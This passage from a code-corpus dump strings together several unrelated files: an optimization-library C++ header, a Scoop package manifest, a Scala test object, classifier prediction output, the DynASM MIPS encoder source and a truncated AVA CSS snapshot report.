STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n******************************************************************************/\n\n/**\n * @file composite.h\n * @brief Declares the classes Composite and Component used as variables,\n * costs and constraints.\n */\n\n#ifndef IFOPT_INCLUDE_OPT_COMPOSITE_H_\n#define IFOPT_INCLUDE_OPT_COMPOSITE_H_\n\n#include \n#include \n#include \n\n#include \n#include \n\n#include \"bounds.h\"\n\nnamespace ifopt {\n\n/**\n * @brief Interface representing either Variable, Cost or Constraint.\n *\n * Variables, costs and constraints can all be fit into the same interface\n * (Component). For example, each has a \"value\", which is either the actual\n * value of the variables, the constraint value g or the cost.\n * This representation provides one common interface\n * (\"smallest common denominator\") that can be contain either individual\n * variables/costs/constraints or a Composite of these. This pattern\n * takes care of stacking variables, ordering Jacobians and providing bounds\n * for the complete problem without duplicating code. For more information on\n * the composite pattern visit https://sourcemaking.com/design_patterns/composite\n */\nclass Component {\npublic:\n using Ptr = std::shared_ptr;\n\n using Jacobian = Eigen::SparseMatrix;\n using VectorXd = Eigen::VectorXd;\n using VecBound = std::vector;\n\n /**\n * @brief Creates a component.\n * @param num_rows The number of rows of this components.\n * @param name The identifier for this component.\n *\n * The number of rows @c num_rows can represent either\n * @li number of variables in this variables set\n * @li number of constraints in this constraint set\n * @li 1 if this component represents a Cost.\n */\n Component(int num_rows, const std::string& name);\n virtual ~Component() = default;\n\n /**\n * @brief Returns the \"values\" of whatever this component represents.\n *\n * @li For Variable this represents the actual optimization values.\n * @li For Constraint this represents the constraint value g.\n * @li For Cost this represents the cost value.\n */\n virtual VectorXd GetValues() const = 0;\n\n /**\n * @brief Returns the \"bounds\" of this component.\n *\n * @li For Variable these are the upper and lower variable bound.\n * @li For Constraint this represents the constraint bounds.\n * @li For Cost these done't exists (set to infinity).\n */\n virtual VecBound GetBounds() const = 0;\n\n /**\n * @brief Sets the optimization variables from an Eigen vector.\n *\n * This is only done for Variable, where these are set from the current\n * values of the @ref solvers.\n */\n virtual void SetVariables(const VectorXd& x) = 0;\n\n /**\n * @brief Returns derivatives of each row w.r.t. the variables\n *\n * @li For Constraint this is a matrix with one row per constraint.\n * @li For a Cost this is a row vector (gradient transpose).\n * @li Not sensible for Variable.\n */\n virtual Jacobian GetJacobian() const = 0;\n\n /**\n * @brief Returns the number of rows of this component.\n */\n int GetRows() const;\n\n /**\n * @brief Returns the name (id) of this component.\n */\n std::string GetName() const;\n\n /**\n * @brief Prints the relevant information (name, rows, values) of this component.\n * @param tolerance When to flag constraint/bound violation.\n * @param index_start Of this specific variables-, constraint- or cost set.\n */\n virtual void Print(double tolerance, int& index_start) const;\n\n /**\n * @brief Sets the number of rows of this component.\n *\n * @attention This should correctly be done through constructor call, only\n * delay this by using @c kSpecifyLater if you have good reason.\n */\n void SetRows(int num_rows);\n static const int kSpecifyLater = -1;\n\nprivate:\n int num_rows_ = kSpecifyLater;\n std::string name_;\n};\n\n\n\n/**\n * @brief A collection of components which is treated as another Component.\n *\n * This class follows the Component interface as well, but doesn't actually\n * do any evaluation, but only stitches together the results of the\n * components it is holding. This is where multiple sets of variables,\n * constraints or costs are ordered and combined.\n *\n * See Component and Composite Pattern for more information.\n */\nclass Composite : public Component {\npublic:\n using Ptr = std::shared_ptr;\n using ComponentVec = std::vector;\n\n /**\n * @brief Creates a Composite holding either variables, costs or constraints.\n * @param is_cost True if this class holds cost terms, false for all others.\n *\n * Constraints and variables append individual constraint sets and Jacobian\n * rows below one another, whereas costs terms are all accumulated to a\n * scalar value/a single Jacobian row.\n */\n Composite(const std::string& name, bool is_cost);\n virtual ~Composite() = default;\n\n // see Component for documentation\n VectorXd GetValues () const override;\n Jacobian GetJacobian () const override;\n VecBound GetBounds () const override;\n void SetVariables(const VectorXd& x) override;\n void PrintAll() const;\n\n /**\n * @brief Access generic component with the specified name.\n * @param name The name given to the component.\n * @return A generic pointer of that component.\n */\n const Component::Ptr GetComponent(std::string name) const;\n\n /**\n * @brief Access type-casted component with the specified name.\n * @param name The name given to the component.\n * @tparam T Type of component.\n * @return A type-casted pointer possibly providing addtional functionality.\n */\n template std::shared_ptr\n GetComponent(const std::string& name) const;\n\n /**\n * @brief Adds a component to this composite.\n */\n void AddComponent (const Component::Ptr&);\n\n /**\n * @brief Removes all component from this composite.\n */\n void ClearComponents();\n\n /**\n * @brief Returns read access to the components.\n */\n const ComponentVec GetComponents() const;\n\nprivate:\n ComponentVec components_;\n bool is_cost_;\n};\n\n\n// implementation of template functions\ntemplate\nstd::shared_ptr Composite::GetComponent(const std::string& name) const\n{\n Component::Ptr c = GetComponent(name);\n return std::dynamic_pointer_cast(c);\n}\n\n\n} /* namespace opt */\n\n#endif /* IFOPT_INCLUDE_OPT_COMPOSITE_H_ */\n"} +{"text": "\n#include \"IoBlock.h\"\n#include \"IoSeq.h\"\n#include \"IoCFunction.h\"\n#include \"IoCoroutine.h\"\n#include \"IoDate.h\"\n#include \"IoFile.h\"\n#include \"IoList.h\"\n#include \"IoMap.h\"\n#include \"IoMessage.h\"\n#include \"IoMessage_parser.h\"\n#include \"IoObject.h\"\n#include \"IoState.h\"\n#include \"IoSeq.h\"\n#include \"IoTag.h\"\n"} +{"text": "/* Copyright 2009-2016 EPFL, Lausanne */\n\nimport leon.annotation._\nimport leon.lang._\n\nobject OperatorEquals8 {\n\n case class T(var x: Int)\n\n def test(t2: T) = {\n val t1 = T(0)\n t1 == t2\n }\n\n def _main(): Int = {\n val t2 = T(0)\n if (test(t2)) 0\n else 1\n } ensuring { _ == 0 }\n\n @extern\n def main(args: Array[String]): Unit = _main()\n\n}\n\n"} +{"text": "{\r\n \"homepage\": \"https://potassco.org/clingo/\",\r\n \"description\": \"A grounder and solver for logic programs.\",\r\n \"version\": \"5.4.0\",\r\n \"license\": \"MIT\",\r\n \"architecture\": {\r\n \"64bit\": {\r\n \"url\": \"https://github.com/potassco/clingo/releases/download/v5.4.0/clingo-5.4.0-win64.zip\",\r\n \"hash\": \"90d29b586455b609e3a63c9c6cf0c7a74098aa9ef8d268a26a769f844d5480a6\",\r\n \"extract_dir\": \"clingo-5.4.0-win64\"\r\n }\r\n },\r\n \"bin\": [\r\n \"clingo.exe\",\r\n \"clasp.exe\",\r\n \"gringo.exe\",\r\n \"reify.exe\",\r\n \"lpconvert.exe\"\r\n ],\r\n \"checkver\": {\r\n \"github\": \"https://github.com/potassco/clingo\"\r\n },\r\n \"autoupdate\": {\r\n \"architecture\": {\r\n \"64bit\": {\r\n \"url\": \"https://github.com/potassco/clingo/releases/download/v$version/clingo-$version-win64.zip\",\r\n \"extract_dir\": \"clingo-$version-win64\"\r\n },\r\n \"32bit\": {\r\n \"url\": \"https://github.com/potassco/clingo/releases/download/v$version/clingo-$version-win32.zip\",\r\n \"extract_dir\": \"clingo-$version-win32\"\r\n }\r\n }\r\n }\r\n}\r\n"} +{"text": "Model:\npredict \"Class = +1\" if score > 1\nscore =\t2 * x3\nAccuracy: 0.56587\nConfusion Matrix: \n83\t125\n20\t106\nPredictions: \n-1\n-1\n-1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n-1\n1\n1\n1\n-1\n-1\n-1\n1\n-1\n1\n-1\n1\n-1\n1\n1\n-1\n1\n1\n-1\n1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n1\n1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n1\n1\n1\n1\n1\n1\n-1\n-1\n1\n1\n1\n1\n1\n1\n-1\n-1\n-1\n1\n-1\n1\n-1\n-1\n-1\n-1\n1\n1\n-1\n-1\n-1\n1\n-1\n1\n1\n-1\n1\n-1\n1\n-1\n1\n-1\n-1\n1\n-1\n-1\n1\n1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n1\n1\n-1\n-1\n-1\n1\n-1\n1\n-1\n1\n-1\n1\n-1\n1\n1\n1\n-1\n-1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n1\n-1\n-1\n1\n-1\n-1\n1\n1\n1\n-1\n-1\n-1\n1\n-1\n-1\n-1\n1\n1\n-1\n1\n1\n-1\n-1\n-1\n-1\n1\n-1\n1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n1\n-1\n-1\n1\n-1\n-1\n-1\n1\n-1\n-1\n1\n1\n-1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n-1\n-1\n1\n1\n1\n1\n1\n1\n-1\n-1\n-1\n1\n-1\n1\n1\n-1\n-1\n1\n1\n-1\n1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n1\n1\n-1\n-1\n1\n-1\n-1\n1\n-1\n1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n1\n-1\n-1\n-1\n1\n1\n1\n-1\n1\n-1\n1\n1\n1\n-1\n-1\n-1\n1\n1\n1\n-1\n1\n1\n1\n1\n-1\n-1\n-1\n-1\n-1\n-1\n-1\n1\n1\n-1\n-1\n-1\n-1\n1\n-1\n1\n1\n-1\n-1\n-1\n1\n1\n-1\n-1\n-1\n-1\n-1\n1\n-1\n-1\n-1\n1\n-1\n-1\n1\n-1\n1\n1\n-1\n-1\n1\n1\n"} +{"text": "\n#include \n#include \n#include \n\n#define DASM_ARCH\t\t\"mips\"\n\n#ifndef DASM_EXTERN\n#define DASM_EXTERN(a,b,c,d)\t0\n#endif\n\n/* Action definitions. */\nenum {\n DASM_STOP, DASM_SECTION, DASM_ESC, DASM_REL_EXT,\n /* The following actions need a buffer position. */\n DASM_ALIGN, DASM_REL_LG, DASM_LABEL_LG,\n /* The following actions also have an argument. */\n DASM_REL_PC, DASM_LABEL_PC, DASM_IMM, DASM_IMMS,\n DASM__MAX\n};\n\n/* Maximum number of section buffer positions for a single dasm_put() call. */\n#define DASM_MAXSECPOS\t\t25\n\n/* DynASM encoder status codes. Action list offset or number are or'ed in. */\n#define DASM_S_OK\t\t0x00000000\n#define DASM_S_NOMEM\t\t0x01000000\n#define DASM_S_PHASE\t\t0x02000000\n#define DASM_S_MATCH_SEC\t0x03000000\n#define DASM_S_RANGE_I\t\t0x11000000\n#define DASM_S_RANGE_SEC\t0x12000000\n#define DASM_S_RANGE_LG\t\t0x13000000\n#define DASM_S_RANGE_PC\t\t0x14000000\n#define DASM_S_RANGE_REL\t0x15000000\n#define DASM_S_UNDEF_LG\t\t0x21000000\n#define DASM_S_UNDEF_PC\t\t0x22000000\n\n/* Macros to convert positions (8 bit section + 24 bit index). */\n#define DASM_POS2IDX(pos)\t((pos)&0x00ffffff)\n#define DASM_POS2BIAS(pos)\t((pos)&0xff000000)\n#define DASM_SEC2POS(sec)\t((sec)<<24)\n#define DASM_POS2SEC(pos)\t((pos)>>24)\n#define DASM_POS2PTR(D, pos)\t(D->sections[DASM_POS2SEC(pos)].rbuf + (pos))\n\n/* Action list type. */\ntypedef const unsigned int *dasm_ActList;\n\n/* Per-section structure. */\ntypedef struct dasm_Section {\n int *rbuf;\t\t/* Biased buffer pointer (negative section bias). */\n int *buf;\t\t/* True buffer pointer. */\n size_t bsize;\t\t/* Buffer size in bytes. */\n int pos;\t\t/* Biased buffer position. */\n int epos;\t\t/* End of biased buffer position - max single put. */\n int ofs;\t\t/* Byte offset into section. */\n} dasm_Section;\n\n/* Core structure holding the DynASM encoding state. */\nstruct dasm_State {\n size_t psize;\t\t\t/* Allocated size of this structure. */\n dasm_ActList actionlist;\t/* Current actionlist pointer. */\n int *lglabels;\t\t/* Local/global chain/pos ptrs. */\n size_t lgsize;\n int *pclabels;\t\t/* PC label chains/pos ptrs. */\n size_t pcsize;\n void **globals;\t\t/* Array of globals (bias -10). */\n dasm_Section *section;\t/* Pointer to active section. */\n size_t codesize;\t\t/* Total size of all code sections. */\n int maxsection;\t\t/* 0 <= sectionidx < maxsection. */\n int status;\t\t\t/* Status code. */\n dasm_Section sections[1];\t/* All sections. Alloc-extended. */\n};\n\n/* The size of the core structure depends on the max. number of sections. */\n#define DASM_PSZ(ms)\t(sizeof(dasm_State)+(ms-1)*sizeof(dasm_Section))\n\n\n/* Initialize DynASM state. */\nvoid dasm_init(Dst_DECL, int maxsection)\n{\n dasm_State *D;\n size_t psz = 0;\n int i;\n Dst_REF = NULL;\n DASM_M_GROW(Dst, struct dasm_State, Dst_REF, psz, DASM_PSZ(maxsection));\n D = Dst_REF;\n D->psize = psz;\n D->lglabels = NULL;\n D->lgsize = 0;\n D->pclabels = NULL;\n D->pcsize = 0;\n D->globals = NULL;\n D->maxsection = maxsection;\n for (i = 0; i < maxsection; i++) {\n D->sections[i].buf = NULL; /* Need this for pass3. */\n D->sections[i].rbuf = D->sections[i].buf - DASM_SEC2POS(i);\n D->sections[i].bsize = 0;\n D->sections[i].epos = 0; /* Wrong, but is recalculated after resize. */\n }\n}\n\n/* Free DynASM state. */\nvoid dasm_free(Dst_DECL)\n{\n dasm_State *D = Dst_REF;\n int i;\n for (i = 0; i < D->maxsection; i++)\n if (D->sections[i].buf)\n DASM_M_FREE(Dst, D->sections[i].buf, D->sections[i].bsize);\n if (D->pclabels) DASM_M_FREE(Dst, D->pclabels, D->pcsize);\n if (D->lglabels) DASM_M_FREE(Dst, D->lglabels, D->lgsize);\n DASM_M_FREE(Dst, D, D->psize);\n}\n\n/* Setup global label array. Must be called before dasm_setup(). */\nvoid dasm_setupglobal(Dst_DECL, void **gl, unsigned int maxgl)\n{\n dasm_State *D = Dst_REF;\n D->globals = gl - 10; /* Negative bias to compensate for locals. */\n DASM_M_GROW(Dst, int, D->lglabels, D->lgsize, (10+maxgl)*sizeof(int));\n}\n\n/* Grow PC label array. Can be called after dasm_setup(), too. */\nvoid dasm_growpc(Dst_DECL, unsigned int maxpc)\n{\n dasm_State *D = Dst_REF;\n size_t osz = D->pcsize;\n DASM_M_GROW(Dst, int, D->pclabels, D->pcsize, maxpc*sizeof(int));\n memset((void *)(((unsigned char *)D->pclabels)+osz), 0, D->pcsize-osz);\n}\n\n/* Setup encoder. */\nvoid dasm_setup(Dst_DECL, const void *actionlist)\n{\n dasm_State *D = Dst_REF;\n int i;\n D->actionlist = (dasm_ActList)actionlist;\n D->status = DASM_S_OK;\n D->section = &D->sections[0];\n memset((void *)D->lglabels, 0, D->lgsize);\n if (D->pclabels) memset((void *)D->pclabels, 0, D->pcsize);\n for (i = 0; i < D->maxsection; i++) {\n D->sections[i].pos = DASM_SEC2POS(i);\n D->sections[i].ofs = 0;\n }\n}\n\n\n#ifdef DASM_CHECKS\n#define CK(x, st) \\\n do { if (!(x)) { \\\n D->status = DASM_S_##st|(p-D->actionlist-1); return; } } while (0)\n#define CKPL(kind, st) \\\n do { if ((size_t)((char *)pl-(char *)D->kind##labels) >= D->kind##size) { \\\n D->status = DASM_S_RANGE_##st|(p-D->actionlist-1); return; } } while (0)\n#else\n#define CK(x, st)\t((void)0)\n#define CKPL(kind, st)\t((void)0)\n#endif\n\n/* Pass 1: Store actions and args, link branches/labels, estimate offsets. */\nvoid dasm_put(Dst_DECL, int start, ...)\n{\n va_list ap;\n dasm_State *D = Dst_REF;\n dasm_ActList p = D->actionlist + start;\n dasm_Section *sec = D->section;\n int pos = sec->pos, ofs = sec->ofs;\n int *b;\n\n if (pos >= sec->epos) {\n DASM_M_GROW(Dst, int, sec->buf, sec->bsize,\n sec->bsize + 2*DASM_MAXSECPOS*sizeof(int));\n sec->rbuf = sec->buf - DASM_POS2BIAS(pos);\n sec->epos = (int)sec->bsize/sizeof(int) - DASM_MAXSECPOS+DASM_POS2BIAS(pos);\n }\n\n b = sec->rbuf;\n b[pos++] = start;\n\n va_start(ap, start);\n while (1) {\n unsigned int ins = *p++;\n unsigned int action = (ins >> 16) - 0xff00;\n if (action >= DASM__MAX) {\n ofs += 4;\n } else {\n int *pl, n = action >= DASM_REL_PC ? va_arg(ap, int) : 0;\n switch (action) {\n case DASM_STOP: goto stop;\n case DASM_SECTION:\n\tn = (ins & 255); CK(n < D->maxsection, RANGE_SEC);\n\tD->section = &D->sections[n]; goto stop;\n case DASM_ESC: p++; ofs += 4; break;\n case DASM_REL_EXT: break;\n case DASM_ALIGN: ofs += (ins & 255); b[pos++] = ofs; break;\n case DASM_REL_LG:\n\tn = (ins & 2047) - 10; pl = D->lglabels + n;\n\t/* Bkwd rel or global. */\n\tif (n >= 0) { CK(n>=10||*pl<0, RANGE_LG); CKPL(lg, LG); goto putrel; }\n\tpl += 10; n = *pl;\n\tif (n < 0) n = 0; /* Start new chain for fwd rel if label exists. */\n\tgoto linkrel;\n case DASM_REL_PC:\n\tpl = D->pclabels + n; CKPL(pc, PC);\n putrel:\n\tn = *pl;\n\tif (n < 0) { /* Label exists. Get label pos and store it. */\n\t b[pos] = -n;\n\t} else {\n linkrel:\n\t b[pos] = n; /* Else link to rel chain, anchored at label. */\n\t *pl = pos;\n\t}\n\tpos++;\n\tbreak;\n case DASM_LABEL_LG:\n\tpl = D->lglabels + (ins & 2047) - 10; CKPL(lg, LG); goto putlabel;\n case DASM_LABEL_PC:\n\tpl = D->pclabels + n; CKPL(pc, PC);\n putlabel:\n\tn = *pl; /* n > 0: Collapse rel chain and replace with label pos. */\n\twhile (n > 0) { int *pb = DASM_POS2PTR(D, n); n = *pb; *pb = pos;\n\t}\n\t*pl = -pos; /* Label exists now. */\n\tb[pos++] = ofs; /* Store pass1 offset estimate. */\n\tbreak;\n case DASM_IMM: case DASM_IMMS:\n#ifdef DASM_CHECKS\n\tCK((n & ((1<<((ins>>10)&31))-1)) == 0, RANGE_I);\n#endif\n\tn >>= ((ins>>10)&31);\n#ifdef DASM_CHECKS\n\tif (ins & 0x8000)\n\t CK(((n + (1<<(((ins>>5)&31)-1)))>>((ins>>5)&31)) == 0, RANGE_I);\n\telse\n\t CK((n>>((ins>>5)&31)) == 0, RANGE_I);\n#endif\n\tb[pos++] = n;\n\tbreak;\n }\n }\n }\nstop:\n va_end(ap);\n sec->pos = pos;\n sec->ofs = ofs;\n}\n#undef CK\n\n/* Pass 2: Link sections, shrink aligns, fix label offsets. */\nint dasm_link(Dst_DECL, size_t *szp)\n{\n dasm_State *D = Dst_REF;\n int secnum;\n int ofs = 0;\n\n#ifdef DASM_CHECKS\n *szp = 0;\n if (D->status != DASM_S_OK) return D->status;\n {\n int pc;\n for (pc = 0; pc*sizeof(int) < D->pcsize; pc++)\n if (D->pclabels[pc] > 0) return DASM_S_UNDEF_PC|pc;\n }\n#endif\n\n { /* Handle globals not defined in this translation unit. */\n int idx;\n for (idx = 20; idx*sizeof(int) < D->lgsize; idx++) {\n int n = D->lglabels[idx];\n /* Undefined label: Collapse rel chain and replace with marker (< 0). */\n while (n > 0) { int *pb = DASM_POS2PTR(D, n); n = *pb; *pb = -idx; }\n }\n }\n\n /* Combine all code sections. No support for data sections (yet). */\n for (secnum = 0; secnum < D->maxsection; secnum++) {\n dasm_Section *sec = D->sections + secnum;\n int *b = sec->rbuf;\n int pos = DASM_SEC2POS(secnum);\n int lastpos = sec->pos;\n\n while (pos != lastpos) {\n dasm_ActList p = D->actionlist + b[pos++];\n while (1) {\n\tunsigned int ins = *p++;\n\tunsigned int action = (ins >> 16) - 0xff00;\n\tswitch (action) {\n\tcase DASM_STOP: case DASM_SECTION: goto stop;\n\tcase DASM_ESC: p++; break;\n\tcase DASM_REL_EXT: break;\n\tcase DASM_ALIGN: ofs -= (b[pos++] + ofs) & (ins & 255); break;\n\tcase DASM_REL_LG: case DASM_REL_PC: pos++; break;\n\tcase DASM_LABEL_LG: case DASM_LABEL_PC: b[pos++] += ofs; break;\n\tcase DASM_IMM: case DASM_IMMS: pos++; break;\n\t}\n }\n stop: (void)0;\n }\n ofs += sec->ofs; /* Next section starts right after current section. */\n }\n\n D->codesize = ofs; /* Total size of all code sections */\n *szp = ofs;\n return DASM_S_OK;\n}\n\n#ifdef DASM_CHECKS\n#define CK(x, st) \\\n do { if (!(x)) return DASM_S_##st|(p-D->actionlist-1); } while (0)\n#else\n#define CK(x, st)\t((void)0)\n#endif\n\n/* Pass 3: Encode sections. */\nint dasm_encode(Dst_DECL, void *buffer)\n{\n dasm_State *D = Dst_REF;\n char *base = (char *)buffer;\n unsigned int *cp = (unsigned int *)buffer;\n int secnum;\n\n /* Encode all code sections. No support for data sections (yet). */\n for (secnum = 0; secnum < D->maxsection; secnum++) {\n dasm_Section *sec = D->sections + secnum;\n int *b = sec->buf;\n int *endb = sec->rbuf + sec->pos;\n\n while (b != endb) {\n dasm_ActList p = D->actionlist + *b++;\n while (1) {\n\tunsigned int ins = *p++;\n\tunsigned int action = (ins >> 16) - 0xff00;\n\tint n = (action >= DASM_ALIGN && action < DASM__MAX) ? *b++ : 0;\n\tswitch (action) {\n\tcase DASM_STOP: case DASM_SECTION: goto stop;\n\tcase DASM_ESC: *cp++ = *p++; break;\n\tcase DASM_REL_EXT:\n\t n = DASM_EXTERN(Dst, (unsigned char *)cp, (ins & 2047), 1);\n\t goto patchrel;\n\tcase DASM_ALIGN:\n\t ins &= 255; while ((((char *)cp - base) & ins)) *cp++ = 0x60000000;\n\t break;\n\tcase DASM_REL_LG:\n\t CK(n >= 0, UNDEF_LG);\n\tcase DASM_REL_PC:\n\t CK(n >= 0, UNDEF_PC);\n\t n = *DASM_POS2PTR(D, n);\n\t if (ins & 2048)\n\t n = n - (int)((char *)cp - base);\n\t else\n\t n = (n + (int)(size_t)base) & 0x0fffffff;\n\tpatchrel:\n\t CK((n & 3) == 0 &&\n\t ((n + ((ins & 2048) ? 0x00020000 : 0)) >>\n\t ((ins & 2048) ? 18 : 28)) == 0, RANGE_REL);\n\t cp[-1] |= ((n>>2) & ((ins & 2048) ? 0x0000ffff: 0x03ffffff));\n\t break;\n\tcase DASM_LABEL_LG:\n\t ins &= 2047; if (ins >= 20) D->globals[ins-10] = (void *)(base + n);\n\t break;\n\tcase DASM_LABEL_PC: break;\n\tcase DASM_IMMS:\n\t cp[-1] |= ((n>>3) & 4); n &= 0x1f;\n\t /* fallthrough */\n\tcase DASM_IMM:\n\t cp[-1] |= (n & ((1<<((ins>>5)&31))-1)) << (ins&31);\n\t break;\n\tdefault: *cp++ = ins; break;\n\t}\n }\n stop: (void)0;\n }\n }\n\n if (base + D->codesize != (char *)cp) /* Check for phase errors. */\n return DASM_S_PHASE;\n return DASM_S_OK;\n}\n#undef CK\n\n/* Get PC label offset. */\nint dasm_getpclabel(Dst_DECL, unsigned int pc)\n{\n dasm_State *D = Dst_REF;\n if (pc*sizeof(int) < D->pcsize) {\n int pos = D->pclabels[pc];\n if (pos < 0) return *DASM_POS2PTR(D, -pos);\n if (pos > 0) return -1; /* Undefined. */\n }\n return -2; /* Unused or out of range. */\n}\n\n#ifdef DASM_CHECKS\n/* Optional sanity checker to call between isolated encoding steps. */\nint dasm_checkstep(Dst_DECL, int secmatch)\n{\n dasm_State *D = Dst_REF;\n if (D->status == DASM_S_OK) {\n int i;\n for (i = 1; i <= 9; i++) {\n if (D->lglabels[i] > 0) { D->status = DASM_S_UNDEF_LG|i; break; }\n D->lglabels[i] = 0;\n }\n }\n if (D->status == DASM_S_OK && secmatch >= 0 &&\n D->section != &D->sections[secmatch])\n D->status = DASM_S_MATCH_SEC|(D->section-D->sections);\n return D->status;\n}\n#endif\n\n"} +{"text": "# Snapshot report for `test/e2e/components/multiinput.js`\n\nThe actual snapshot is saved in `multiinput.js.snap`.\n\nGenerated by [AVA](https://ava.li).\n\n## basic style\n\n> Snapshot 1\n\n {\n style: {\n alignContent: 'normal',\n alignItems: 'normal',\n alignSelf: 'normal',\n alignmentBaseline: 'auto',\n all: '',\n animation: 'none 0s ease 0s 1 normal none running',\n animationDelay: '0s',\n animationDirection: 'normal',\n animationDuration: '0s',\n animationFillMode: 'none',\n animationIterationCount: '1',\n animationName: 'none',\n animationPlayState: 'running',\n animationTimingFunction: 'ease',\n backfaceVisibility: 'visible',\n background: 'rgba(0, 0, 0, 0) none repeat scroll 0% 0% / auto padding-box border-box',\n backgroundAttachment: 'scroll',\n backgroundBlendMode: 'normal',\n backgroundClip: 'border-box',\n backgroundColor: 'rgba(0, 0, 0, 0)',\n backgroundImage: 'none',\n backgroundOrigin: 'padding-box',\n backgroundPosition: '0% 0%',\n backgroundPositionX: '0%',\n backgroundPositionY: '0%',\n backgroundRepeat: 'repeat',\n backgroundRepeatX: '',\n backgroundRepeatY: '',\n backgroundSize: 'auto',\n baselineShift: '0px',\n blockSize: '74px',\n border: '0px none rgb(36, 41, 46)',\n borderBottom: '0px none rgb(36, 41, 46)',\n borderBottomColor: 'rgb(36, 41, 46)',\n borderBottomLeftRadius: '0px',\n borderBottomRightRadius: '0px',\n borderBottomStyle: 'none',\n borderBottomWidth: '0px',\n borderCollapse: 'separate',\n borderColor: 'rgb(36, 41, 46)',\n borderImage: 'none',\n borderImageOutset: '0px',\n borderImageRepeat: 'stretch',\n borderImageSlice: '100%',\n borderImageSource: 'none',\n borderImageWidth: '1',\n borderLeft: '0px none rgb(36, 41, 46)',\n borderLeftColor: 'rgb(36, 41, 46)',\n borderLeftStyle: 'none',\n borderLeftWidth: '0px',\n borderRadius: '0px',\n borderRight: '0px none rgb(36, 41, 46)',\n borderRightColor: 'rgb(36, 41, 46)',\n borderRightStyle: 'none',\n borderRightWidth: '0px',\n borderSpacing: '0px 0px',\n borderStyle: 'none',\n borderTop: '0px none rgb(36, 41, 46)',\n borderTopColor: 'rgb(36, 41, 46)',\n borderTopLeftRadius: '0px',\n borderTopRightRadius: '0px',\n borderTopStyle: 'none',\n borderTopWidth: '0px',\n borderWidth: '0px',\n bottom: '0px',\n boxShadow: 'none',\n boxSizing: 'border-box',\n breakAfter: 'auto',\n breakBefore: 'auto',\n breakInside: 'auto',\n bufferedRendering: 'auto',\n captionSide: 'top',\n caretColor: 'rgb(36, 41, 46)',\n clear: 'none',\n clip: 'auto',\n clipPath: 'none',\n clipRule: 'nonzero',\n color: 'rgb(36, 41, 46)',\n colorInterpolation: 'sRGB',\n colorInterpolationFilters: 'linearRGB',\n colorRendering: 'auto',\n columnCount: 'auto',\n columnFill: 'balance',\n columnGap: 'normal',\n columnRule: '0px none rgb(36, 41, 46)',\n columnRuleColor: 'rgb(36, 41, 46)',\n columnRuleStyle: 'none',\n columnRuleWidth: '0px',\n columnSpan: 'none',\n columnWidth: 'auto',\n columns: 'auto auto',\n contain: 'none',\n content: '',\n counterIncrement: 'none',\n counterReset: 'none',\n cursor: 'auto',\n cx: '0px',\n cy: '0px',\n d: 'none',\n direction: 'ltr',\n display: 'inline-block',\n dominantBaseline: 'auto',\n emptyCells: 'show',\n fill: 'rgb(0, 0, 0)',\n fillOpacity: '1',\n fillRule: 'nonzero',\n filter: 'none',\n flex: '0 1 auto',\n flexBasis: 'auto',\n flexDirection: 'row',\n flexFlow: 'row nowrap',\n flexGrow: '0',\n flexShrink: '1',\n flexWrap: 'nowrap',\n float: 'none',\n floodColor: 'rgb(0, 0, 0)',\n floodOpacity: '1',\n font: 'normal normal normal normal 14px / 21px PingFangSC-Thin, sans-serif',\n fontFamily: 'PingFangSC-Thin, sans-serif',\n fontFeatureSettings: 'normal',\n fontKerning: 'auto',\n fontSize: '14px',\n fontStretch: 'normal',\n fontStyle: 'normal',\n fontVariant: 'normal',\n fontVariantCaps: 'normal',\n fontVariantLigatures: 'normal',\n fontVariantNumeric: 'normal',\n fontWeight: 'normal',\n grid: 'none / none / none / row / auto / auto / 0px / 0px',\n gridArea: 'auto / auto / auto / auto',\n gridAutoColumns: 'auto',\n gridAutoFlow: 'row',\n gridAutoRows: 'auto',\n gridColumn: 'auto / auto',\n gridColumnEnd: 'auto',\n gridColumnGap: '0px',\n gridColumnStart: 'auto',\n gridGap: '0px 0px',\n gridRow: 'auto / auto',\n gridRowEnd: 'auto',\n gridRowGap: '0px',\n gridRowStart: 'auto',\n gridTemplate: 'none / none / none',\n gridTemplateAreas: 'none',\n gridTemplateColumns: 'none',\n gridTemplateRows: 'none',\n height: '74px',\n hyphens: 'manual',\n imageRendering: 'auto',\n inlineSize: '300px',\n isolation: 'auto',\n justifyContent: 'normal',\n justifyItems: 'normal',\n justifySelf: 'normal',\n left: '0px',\n letterSpacing: 'normal',\n lightingColor: 'rgb(255, 255, 255)',\n lineHeight: '21px',\n listStyle: 'disc outside none',\n listStyleImage: 'none',\n listStylePosition: 'outside',\n listStyleType: 'disc',\n margin: '0px',\n marginBottom: '0px',\n marginLeft: '0px',\n marginRight: '0px',\n marginTop: '0px',\n marker: '',\n markerEnd: 'none',\n markerMid: 'none',\n markerStart: 'none',\n mask: 'none',\n maskType: 'luminance',\n maxBlockSize: 'none',\n maxHeight: 'none',\n maxInlineSize: 'none',\n maxWidth: 'none',\n maxZoom: '',\n minBlockSize: '0px',\n minHeight: '0px',\n minInlineSize: '0px',\n minWidth: '0px',\n minZoom: '',\n mixBlendMode: 'normal',\n motion: 'none 0px auto 0deg',\n objectFit: 'fill',\n objectPosition: '50% 50%',\n offset: 'none 0px auto 0deg',\n offsetDistance: '0px',\n offsetPath: 'none',\n offsetRotate: 'auto 0deg',\n offsetRotation: 'auto 0deg',\n opacity: '1',\n order: '0',\n orientation: '',\n orphans: '2',\n outline: 'rgb(36, 41, 46) none 0px',\n outlineColor: 'rgb(36, 41, 46)',\n outlineOffset: '0px',\n outlineStyle: 'none',\n outlineWidth: '0px',\n overflow: 'visible',\n overflowAnchor: 'auto',\n overflowWrap: 